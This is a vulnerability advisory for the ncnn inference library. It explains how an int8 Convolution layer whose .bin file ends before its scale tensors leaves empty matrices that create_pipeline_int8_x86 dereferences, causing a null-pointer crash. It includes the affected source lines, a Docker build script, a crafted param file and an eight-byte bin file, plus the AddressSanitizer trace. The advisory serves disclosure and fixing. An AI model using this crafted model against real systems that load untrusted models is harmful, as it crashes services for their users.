Malformed Int8 Model Crashes x86 Loader
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution_x86.cpp:981 in Convolution_x86::create_pipeline_int8_x86
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5a017a9a2fe3 bp 0x7fffe3a06020 sp 0x7fffe3a05fa0 T0)
Summary
An int8 Convolution layer that declares int8_scale_term but whose .bin file ends before the scale tensors crashes the loading process with a null read. Convolution::load_model calls ModelBin::load for both scale tensors and discards the return value, so the failed reads leave two empty matrices behind and loading continues as if nothing happened. Convolution_x86::create_pipeline_int8_x86 then indexes those matrices while building the requantization table. The PoC reaches this through ncnnoptimize, which calls ncnn::Net::load_model; any x86 build with NCNN_INT8 and int8 inference enabled is affected.
Detail
The untrusted inputs are the Convolution parameter 8 (int8_scale_term), the parameter 6 (weight_data_size), and the contents of the .bin stream. Setting 8=1 tells load_model to read a num_output-element weight-scale tensor and a one-element input-scale tensor from the binary. Truncating the .bin after the primary weight record makes both reads hit EOF; ModelBin::load logs ModelBin read weight_data failed 0 and returns a default Mat.
The asymmetry is visible in load_model itself: the weight and bias loads are guarded with .empty() checks that return -100, while the two int8 scale loads on lines 77-78 are not guarded at all. Convolution::load_model therefore returns success with weight_data_int8_scales and bottom_blob_int8_scales both holding data == nullptr. Net::load_model immediately calls create_pipeline, which dispatches to the int8 path because the weight record was int8-tagged, and the requantization loop indexes the empty scale matrices without checking their extent against num_output.
// src/layer/convolution.cpp:63
weight_data = mb.load(weight_data_size, 0);
if (weight_data.empty())
return -100;
// src/layer/convolution.cpp:74
#if NCNN_INT8
if (int8_scale_term)
{
weight_data_int8_scales = mb.load(num_output, 1);
bottom_blob_int8_scales = mb.load(1, 1);
}
// src/layer/x86/convolution_x86.cpp:976
scale_in_data.create(num_output);
for (int p = 0; p < num_output; p++)
{
// requantize and relu
float scale_in;
if (weight_data_int8_scales[p] == 0)
scale_in = 0;
else
scale_in = 1.f / (bottom_blob_int8_scales[0] * weight_data_int8_scales[p]);
The PoC declares Convolution conv 1 1 data conv 0=1 1=1 5=0 6=1 8=1: one output channel, a 1x1 kernel, no bias, one weight element, and int8 scales enabled. poc.bin is eight bytes: the int8 tag 0x000D4B38 followed by the four-byte aligned single weight. The weight load succeeds and yields elemsize == 1, so create_pipeline takes the create_pipeline_int8_x86 branch at line 288. Both scale loads had already failed at EOF, so at p == 0 the expression weight_data_int8_scales[p] dereferences address 0x0 and the process is killed.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-int8-model-crashes-x86-loader && cd ncnn-poc-malformed-int8-model-crashes-x86-loader
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > poc.param <<'PARAM'
7767517
1 2
Convolution conv 1 1 data conv 0=1 1=1 6=1 8=1
PARAM
printf '\070\113\015\000\177\000\000\000' > poc.bin
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize poc.param poc.bin out.param out.bin 0
AddressSanitizer output:
find_blob_index_by_name data failed
ModelBin read weight_data failed 0
ModelBin read weight_data failed 0
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5e18dd0f0fe3 bp 0x7ffc46a8f810 sp 0x7ffc46a8f790 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
#0 0x5e18dd0f0fe3 in ncnn::Convolution_x86_avx512::create_pipeline_int8_x86(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:981
#1 0x5e18dd0d37ce in ncnn::Convolution_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:290
#2 0x5e18dc2f8c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
#3 0x5e18dc2f990a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
#4 0x5e18dc2f9c91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
#5 0x5e18dc20ccaf in main /ncnn/tools/ncnnoptimize.cpp:2797
#6 0x709010fb41c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x709010fb428a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x5e18dc18c624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/build/src/layer/x86/convolution_x86_avx512.cpp:981 in ncnn::Convolution_x86_avx512::create_pipeline_int8_x86(ncnn::Option const&)
==1==ABORTING
Credit
Zheng Yu @ DepthFirst